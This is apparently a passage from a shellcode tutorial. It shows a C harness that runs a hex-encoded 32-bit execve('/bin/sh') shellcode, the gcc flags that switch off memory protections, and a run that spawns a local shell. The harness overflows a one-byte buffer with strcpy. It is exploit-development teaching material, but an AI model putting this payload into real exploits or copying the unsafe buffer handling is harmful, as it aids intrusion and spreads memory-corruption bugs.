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#include<stdio.h>
#include<string.h>
 
unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh";
unsigned char code[] = "";
 
void main(){
    int len = strlen(shellcode);
    printf("Shellcode len : %d\n",len);
    strcpy(code,shellcode);
	(*(void(*)()) code)();
}

lazenca0x0@ubuntu:~/Shell$ gcc -o testshell2 -fno-stack-protector -z execstack --no-pie -m32 testshell2.c
lazenca0x0@ubuntu:~/Shell$ ./testshell2 
Shellcode len : 36
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$